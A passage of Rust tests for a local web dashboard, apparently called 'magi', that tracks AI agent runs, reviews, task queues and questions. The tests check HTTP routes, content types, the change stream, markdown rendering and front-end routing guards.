12055 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12056 assert_eq!(all.as_array().map(Vec::len), Some(3));
12057 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12058 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12059 }
12060
12061 #[tokio::test]
12062 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12063 let f = Fixture::start().await;
12064 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12065
12066 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12067
12068 assert_eq!(res.status, 200);
12069 assert!(
12070 res.headers
12071 .contains("content-type: text/plain; charset=utf-8"),
12072 "a browser must render it, not download it: {}",
12073 res.headers
12074 );
12075 assert!(
12079 res.body.contains("20260902-140501-a1b2"),
12080 "the report is about the run that was asked for: {}",
12081 res.body
12082 );
12083 }
12084
12085 #[tokio::test]
12086 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12087 crate::run::pin_test_home();
12089 let f = Fixture::start().await;
12090 let id = "20260902-140501-a1b2";
12091 write_run(&f.runs(), id, RunStatus::Stalled);
12092 let path = f.runs().join(id).join("run.json");
12095 let mut v: serde_json::Value =
12096 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12097 v["tally"] = serde_json::json!({
12098 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12099 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12100 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12101 "met_quorum": false, "rankings": 1
12102 });
12103 v["reviews"] = serde_json::json!([{
12104 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12105 "e2e_deferred": true,
12106 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12107 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12108 ]}]
12109 }]);
12110 std::fs::write(&path, v.to_string()).unwrap();
12111 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12112 std::fs::write(
12113 f.runs().join("20260902-140502-dead").join("run.json"),
12114 "{not json",
12115 )
12116 .unwrap();
12117
12118 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12119
12120 assert_eq!(res.status, 200, "{}", res.body);
12121 assert!(res.headers.contains("content-type: application/json"));
12122 let j = res.json();
12123 assert_eq!(j["schema"], 1);
12124 assert_eq!(j["header"]["id"], id);
12125 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12126 let kinds: Vec<&str> = j["sections"]
12127 .as_array()
12128 .unwrap()
12129 .iter()
12130 .map(|s| s["kind"].as_str().unwrap())
12131 .collect();
12132 assert_eq!(kinds, ["candidates", "tally", "review"]);
12133 let tally = &j["sections"][1]["tally"];
12134 assert_eq!(
12135 (tally["decided"].clone(), tally["provisional"].clone()),
12136 (false.into(), true.into())
12137 );
12138 let round = &j["sections"][2]["rounds"][0];
12139 assert_eq!(round["e2e"]["state"], "deferred");
12140 assert_eq!(round["findings"][0]["severity"], "major");
12141 assert_eq!(round["findings"][0]["blocking"], true);
12142 assert_eq!(round["findings"][0]["state"], "open");
12143
12144 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12146
12147 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12149 assert_ne!(bad.status, 200, "{}", bad.body);
12150 assert_eq!(
12151 bad.status,
12152 f.get("/api/runs/20260902-140502-dead/report").await.status
12153 );
12154 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12155 assert_eq!(
12156 f.get("/api/runs/20260902-999999-ffff/report.json")
12157 .await
12158 .status,
12159 404
12160 );
12161 }
12162
12163 #[tokio::test]
12164 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12165 let f = Fixture::start().await;
12166
12167 let html = f.get("/").await;
12168 let css = f.get("/app.css").await;
12169 let js = f.get("/app.js").await;
12170
12171 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12172 assert!(
12173 html.headers
12174 .contains("content-type: text/html; charset=utf-8")
12175 );
12176 assert!(css.headers.contains("content-type: text/css"));
12177 assert!(js.headers.contains("content-type: text/javascript"));
12178 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12179 }
12180
12181 #[test]
12182 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12183 let body = |name: &str| {
12184 let at = APP_JS
12185 .find(name)
12186 .unwrap_or_else(|| panic!("{name} missing"));
12187 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12188 };
12189 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12190 let note = body("function landRoundNote");
12191 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12192 assert!(note.contains("Land round ${round}"));
12193 let land = body("function renderLand");
12194 let note_at = land
12195 .find("landRoundNote(pr)")
12196 .expect("renderLand uses the note");
12197 assert!(
12198 note_at
12199 < land
12200 .find("roundRail(pr)")
12201 .expect("renderLand uses the rail")
12202 );
12203 }
12204
12205 #[test]
12206 fn the_runs_page_redesign_keeps_its_guards() {
12207 let body = |name: &str| {
12208 let at = APP_JS
12209 .find(name)
12210 .unwrap_or_else(|| panic!("{name} missing"));
12211 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12212 };
12213 let land = body("function renderLand");
12215 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12216 assert!(
12217 !land.contains("box.append("),
12218 "renderLand must use append()"
12219 );
12220 assert!(land.contains("append(box, ["));
12221 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12223 assert!(
12224 body("function applyRoute")
12225 .contains("route.name !== state.route.name || route.id !== state.route.id")
12226 );
12227 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12229 assert!(!INDEX_HTML.contains("advise-converge"));
12230 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12231 assert!(APP_JS.contains("provisional"));
12232 for id in [
12233 "run-tab-overview",
12234 "run-tab-timeline",
12235 "run-tab-report",
12236 "run-report",
12237 "runs-scope",
12238 ] {
12239 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12240 }
12241 assert!(!INDEX_HTML.contains("runs-tree"));
12242 assert!(!INDEX_HTML.contains("run-raw-panel"));
12243 assert!(APP_JS.contains("resume"));
12245 assert!(APP_JS.contains("unreadable"));
12247 }
12248
12249 #[test]
12250 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12251 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12252 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12253 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12254 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12255 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12256 assert!(APP_JS.contains("unreadable` : null"));
12258 }
12259
12260 #[test]
12261 fn the_run_detail_payload_says_whether_the_run_is_done() {
12262 for (status, done) in [
12264 (RunStatus::Superseded, true),
12265 (RunStatus::Blocked, true),
12266 (RunStatus::Landing, false),
12267 ] {
12268 let mut state = RunState::new(
12269 std::path::PathBuf::from("/repo"),
12270 "main".to_owned(),
12271 "abc".to_owned(),
12272 "x".to_owned(),
12273 crate::config::Config::default(),
12274 );
12275 state.status = status;
12276 let v = serde_json::to_value(RunDetailView::of(
12277 state,
12278 crate::run::Liveness::Unknown,
12279 None,
12280 None,
12281 None,
12282 ))
12283 .unwrap();
12284 assert_eq!(v["done"], done, "{status:?}");
12285 }
12286 }
12287
12288 fn has_strong(nodes: &[md::Node]) -> bool {
12290 serde_json::to_string(nodes).unwrap().contains("strong")
12291 }
12292
12293 #[test]
12294 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12295 let mut state = RunState::new(
12296 std::path::PathBuf::from("/repo"),
12297 "main".to_owned(),
12298 "abc".to_owned(),
12299 "x".to_owned(),
12300 crate::config::Config::default(),
12301 );
12302 let proposal = |approach: &str| {
12303 serde_json::json!({
12304 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12305 })
12306 };
12307 state.advice = Some(
12308 serde_json::from_value(serde_json::json!({
12309 "records": [
12310 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12311 "proposal": proposal("do **this**")},
12312 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12313 ],
12314 "synthesis": "- one\n- **two**\n\n`code`",
12315 }))
12316 .unwrap(),
12317 );
12318 state.candidates = serde_json::from_value(serde_json::json!([
12319 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12320 "summary": "did **it**"},
12321 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12322 ]))
12323 .unwrap();
12324 state.reviews = serde_json::from_value(serde_json::json!([{
12327 "round": 1, "head": "h",
12328 "reviews": [{
12329 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12330 "findings": [
12331 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12332 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12333 ],
12334 }],
12335 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12336 "fix": {"agent": "a", "notes": "fixed **it**",
12337 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12338 }, {"round": 2, "head": "h2", "reviews": []}]))
12339 .unwrap();
12340
12341 let v = serde_json::to_value(RunDetailView::of(
12342 state,
12343 crate::run::Liveness::Unknown,
12344 None,
12345 None,
12346 None,
12347 ))
12348 .unwrap();
12349
12350 let strong = |p: &str| {
12351 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12352 assert!(n.to_string().contains("strong"), "{p}: {n}");
12353 };
12354 strong("/advice_md/synthesis");
12355 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12356 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12357 strong("/advice_md/approaches/0");
12358 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12359 strong("/candidate_summaries_md/0");
12360 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12361 strong("/reviews_md/0/reviewers/0/summary");
12362 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12363 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12364 assert!(f[1].to_string().contains("strong"));
12365 strong("/reviews_md/0/reconsideration/0");
12366 strong("/reviews_md/0/fix/notes");
12367 strong("/reviews_md/0/fix/rejected/0");
12368 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12369 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12370 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12372 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12373 }
12374
12375 #[test]
12376 fn a_run_without_advice_has_no_advice_md() {
12377 let state = RunState::new(
12378 std::path::PathBuf::from("/repo"),
12379 "main".to_owned(),
12380 "abc".to_owned(),
12381 "x".to_owned(),
12382 crate::config::Config::default(),
12383 );
12384 let p = run_prose_md(&state);
12385 assert!(p.advice_md.is_none());
12386 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12387 }
12388
12389 #[test]
12390 fn a_question_view_carries_markdown_for_each_thread_turn() {
12391 let home = TempDir::new().unwrap();
12392 let store = ask::Questions::at(home.path().join("questions"));
12393 let mut q = Question::new(
12394 "run".to_owned(),
12395 "implement".to_owned(),
12396 "impl-A".to_owned(),
12397 "which?".to_owned(),
12398 String::new(),
12399 Vec::new(),
12400 );
12401 q.say("plain words").unwrap();
12402 q.reply("use **this**", Vec::new()).unwrap();
12403 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12404 let bodies = &v["thread_bodies_md"];
12405 assert_eq!(bodies.as_array().unwrap().len(), 2);
12406 assert!(!bodies[0].to_string().contains("strong"));
12407 assert!(bodies[1].to_string().contains("strong"));
12408 }
12409
12410 #[test]
12411 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12412 let home = TempDir::new().unwrap();
12413 let store = ask::Questions::at(home.path().join("questions"));
12414 let mut q = Question::new(
12415 "run".to_owned(),
12416 "conduct".to_owned(),
12417 "conduct".to_owned(),
12418 "which?".to_owned(),
12419 String::new(),
12420 Vec::new(),
12421 );
12422 q.say("plain words").unwrap();
12423 q.thread.push(ask::Turn {
12424 who: ask::Who::Agent,
12425 body: "Settled as `merge`".to_owned(),
12426 at: jiff::Timestamp::now(),
12427 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12428 });
12429 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12430 let notes = &v["thread_notes_md"];
12431 assert_eq!(notes.as_array().unwrap().len(), 2);
12432 assert!(notes[0].is_null());
12433 let text = notes[1].to_string();
12434 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12435 assert!(APP_JS.contains("ask-turn-note"));
12436 }
12437
12438 #[test]
12439 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12440 assert!(APP_JS.contains("function landView(run, raw) {"));
12444 assert!(
12445 APP_JS.contains(
12446 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12447 )
12448 );
12449 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12450 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12451 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12452 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12453 }
12454
12455 #[test]
12456 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12457 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12458 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12459 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12460 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12461 }
12462
12463 #[test]
12464 fn review_rounds_label_a_distinct_verified_head() {
12465 assert!(APP_JS.contains("round.verified_head"));
12466 assert!(APP_JS.contains("verified HEAD"));
12467 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12468 }
12469
12470 #[test]
12471 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12472 assert!(APP_JS.contains("blocked: { glyph:"));
12476 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12477
12478 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12482 assert!(
12483 APP_JS.contains(
12484 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12485 ),
12486 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12487 );
12488 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12492
12493 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12497 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12498 assert!(
12499 APP_JS.contains("location.hash = \"#/questions\";"),
12500 "a question node must jump to the Questions screen, not pretend to be a task"
12501 );
12502
12503 assert!(APP_JS.contains("Resolved questions"));
12506 assert!(APP_JS.contains("r.answersList.append("));
12507 assert!(APP_CSS.contains(".task-answers"));
12508 {
12509 let start = APP_JS
12510 .find("function updateTalkTaskRow")
12511 .expect("updateTalkTaskRow");
12512 let body = &APP_JS[start..];
12513 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12514 assert!(
12515 body.contains(
12516 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12517 ),
12518 "a chat-filed task row must link to the task page"
12519 );
12520 assert!(
12521 !body.contains("#/runs/") && !body.contains("#/queue/"),
12522 "the row must not branch to a run or the queue card"
12523 );
12524 assert!(APP_CSS.contains(".talk-task-link"));
12525 }
12526 }
12527
12528 #[test]
12529 fn a_task_notification_links_to_the_task_page() {
12530 let start = APP_JS
12532 .find("function noticeLink(")
12533 .expect("noticeLink exists");
12534 let body = &APP_JS[start..];
12535 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12536 assert!(
12537 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12538 "a task notice's link must target the task page"
12539 );
12540 assert!(
12541 !body.contains("#/queue/"),
12542 "regression: the task link must not go back to the Backlog route"
12543 );
12544 assert!(
12545 APP_JS.contains(
12546 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12547 ),
12548 "`#/tasks/<id>` must parse into the task route"
12549 );
12550
12551 assert!(
12553 APP_JS.contains(
12554 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12555 ),
12556 "`#/queue/<id>` must parse into a route carrying that id"
12557 );
12558
12559 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12563 assert!(APP_JS.contains("function consumeQueueFocus()"));
12564 assert!(APP_JS.contains("jumpToTask(id)"));
12565 }
12566
12567 #[test]
12570 fn chat_rows_put_the_title_alone_on_the_first_line() {
12571 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12572 assert!(APP_CSS.contains(
12573 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12574 ));
12575 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12576 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12577 }
12578
12579 #[test]
12580 fn run_rows_put_the_title_alone_on_the_first_line() {
12581 assert!(
12582 APP_CSS.contains(
12583 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12584 )
12585 );
12586 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12587 assert!(APP_JS.contains("class: \"card run-card\""));
12588 assert!(APP_JS.contains("class: \"repo run-id\""));
12589 }
12590
12591 #[test]
12595 fn wide_screens_show_list_and_preview_side_by_side() {
12596 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12598 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12599 assert!(APP_CSS.contains("main[data-split]"));
12600 assert!(APP_CSS.contains("body[data-split]"));
12601
12602 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12604 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12605 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12606 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12607 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12608
12609 assert!(APP_JS.contains("function markSelected() {"));
12611 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12612 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12613 assert!(
12615 APP_CSS.contains(
12616 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12617 )
12618 );
12619
12620 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12622 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12623 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12624 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12625
12626 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12630 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12631 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12632 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12633
12634 assert!(APP_JS.contains("sandbox: \"\""));
12636 assert!(!APP_JS.contains("sandbox: \"allow"));
12637 }
12638
12639 #[test]
12640 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12641 assert!(
12650 APP_JS.contains(
12651 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12652 ),
12653 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12654 recursive renderQueue() call has nothing left to jump to"
12655 );
12656 assert!(
12657 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12658 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12659 arrives later still gets it"
12660 );
12661 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12662 assert!(APP_JS.contains("is not in the current Backlog."));
12663 assert!(APP_JS.contains("li.card[data-task-id=\""));
12664 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12665 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12666 assert!(APP_CSS.contains(".card-permalink"));
12667 assert!(APP_CSS.contains(".queue-focus-status"));
12668 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12669 }
12670
12671 #[test]
12672 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12673 assert!(
12681 APP_JS.contains(
12682 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12683 ),
12684 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12685 );
12686 }
12687
12688 #[test]
12689 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12690 assert!(
12691 APP_JS.contains("round.verified_head !== round.head"),
12692 "a round that verified an earlier commit must be visibly distinct from one that \
12693 verified the head reviewers are looking at now"
12694 );
12695 assert!(
12696 APP_JS.contains("round.verified_at"),
12697 "when a check ran must be on the wire, not just which commit"
12698 );
12699 assert!(
12700 APP_JS.contains("resource_blocked"),
12701 "a command magi never got to run (shared build cache contention) must not render \
12702 the same as a command that ran and failed"
12703 );
12704 }
12705
12706 #[test]
12707 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12708 assert!(
12716 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12717 "every KPI tile built through statusTile() must route its click through \
12718 openRunsFiltered, the single place that sets the Runs filter"
12719 );
12720 for (label, status) in [
12721 ("Merged", "merged"),
12722 ("Ready", "ready"),
12723 ("Blocked", "blocked"),
12724 ("Stalled", "stalled"),
12725 ] {
12726 let call = format!("statusTile(\"{label}\", t.{status}, ");
12727 assert!(
12728 APP_JS.contains(&call),
12729 "expected the {label} KPI tile built via {call}..."
12730 );
12731 assert!(
12732 APP_JS.contains(&format!("status === \"{status}\"")),
12733 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12734 compare a run against, not one invented only for the stats tile"
12735 );
12736 }
12737 assert!(
12738 APP_JS.contains("function openRunsFiltered(status)"),
12739 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12740 );
12741 assert!(
12742 APP_JS.contains(
12743 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12744 ),
12745 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12746 );
12747 assert!(
12755 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12756 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12757 hashchange event that may never fire"
12758 );
12759 }
12760
12761 #[test]
12762 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12763 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12769 assert!(
12770 APP_JS.contains(
12771 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12772 ),
12773 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12774 guard for an incompatible tree section"
12775 );
12776 }
12777
12778 #[test]
12779 fn every_stats_queue_tile_names_a_real_queue_section() {
12780 assert!(
12786 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12787 "every queue tile built through sectionTile() must route its click through \
12788 openQueueSectionFocus"
12789 );
12790 for key in ["upnext", "running", "done", "held", "blocked"] {
12791 assert!(
12792 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12793 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12794 );
12795 }
12796 for line in [
12800 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12801 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12802 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12803 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12804 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12805 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12806 ] {
12807 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12808 }
12809 }
12810
12811 #[test]
12812 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12813 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12820 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12821 assert!(APP_JS.contains("function revealQueueSection(details)"));
12822 assert!(
12823 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12824 "renderQueue() must consume both focus channels on every pass"
12825 );
12826 assert!(
12827 APP_JS.contains(
12828 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12829 ),
12830 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12831 the recursive renderQueue() call has nothing left to reveal"
12832 );
12833 assert!(
12834 APP_JS.contains(
12835 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12836 ),
12837 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12838 );
12839 assert!(
12847 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12848 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12849 hashchange event that may never fire"
12850 );
12851 }
12852
12853 #[tokio::test]
12854 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12855 let f = Fixture::start().await;
12856
12857 let mut socket = tokio::net::TcpStream::connect(f.addr)
12858 .await
12859 .expect("connect");
12860 socket
12861 .write_all(
12862 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12863 )
12864 .await
12865 .expect("write request");
12866
12867 let mut seen = String::new();
12870 let mut buf = [0u8; 1024];
12871 while !seen.contains("event: change") {
12872 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12873 .await
12874 .expect("the stream must speak within five seconds")
12875 .expect("read");
12876 assert!(read > 0, "the server closed the change stream: {seen}");
12877 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12878 }
12879
12880 assert!(
12881 seen.to_lowercase()
12882 .contains("content-type: text/event-stream"),
12883 "the browser only reconnects automatically for a real SSE stream: {seen}"
12884 );
12885 let data = seen
12886 .lines()
12887 .find_map(|l| l.strip_prefix("data:"))
12888 .expect("a data line");
12889 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12890 assert!(
12891 payload["queue_rev"].is_u64()
12892 && payload["runs_rev"].is_u64()
12893 && payload["questions_rev"].is_u64()
12894 && payload["talks_rev"].is_u64()
12895 && payload["notifications_rev"].is_u64()
12896 && payload["loop_rev"].is_u64(),
12897 "the client needs one revision per store to know what to refetch, \
12898 and `talks_rev` is the only notification a standing talk gets - a \
12899 phone whose radio slept through a turn learns about it here, as \
12900 does one whose operator started the loop from another device: \
12901 {payload}"
12902 );
12903
12904 let health = f.get("/api/health").await.json();
12911 for key in [
12912 "queue_rev",
12913 "runs_rev",
12914 "questions_rev",
12915 "talks_rev",
12916 "notifications_rev",
12917 "loop_rev",
12918 ] {
12919 assert!(
12920 health[key].is_u64(),
12921 "health is the change stream's fallback and is missing `{key}`: {health}"
12922 );
12923 }
12924 }
12925
12926 #[tokio::test]
12927 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12928 let f = Fixture::start().await;
12929 let before = f.get("/api/health").await.json()["talks_rev"]
12930 .as_u64()
12931 .expect("talks_rev");
12932
12933 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12934 std::thread::sleep(Duration::from_millis(10));
12935 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12936 on_disk.turns.push(crate::talk::Turn {
12937 who: crate::talk::Who::Operator,
12938 body: "a new turn".to_owned(),
12939 at: Timestamp::now(),
12940 attachments: Vec::new(),
12941 usage: None,
12942 });
12943 f.talks().put(&mut on_disk).expect("record a turn");
12944
12945 let after = f.get("/api/health").await.json()["talks_rev"]
12946 .as_u64()
12947 .expect("talks_rev");
12948 assert_ne!(
12949 before, after,
12950 "a phone must be able to notice a talk's reply without polling every store"
12951 );
12952 }
12953
12954 #[test]
12955 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12956 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12960 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12961 }
12962 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12963 assert!("everywhere".parse::<Bind>().is_err());
12964 }
12965
12966 #[test]
12967 fn an_explicit_bind_address_is_taken_verbatim() {
12968 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12969
12970 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12971
12972 assert_eq!(addr, asked);
12973 assert!(
12974 warning.is_none(),
12975 "an operator who named an address gets no lecture"
12976 );
12977 }
12978
12979 #[test]
12980 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12981 let (addr, warning) = resolve_bind(&Bind::Auto);
12982
12983 match addr {
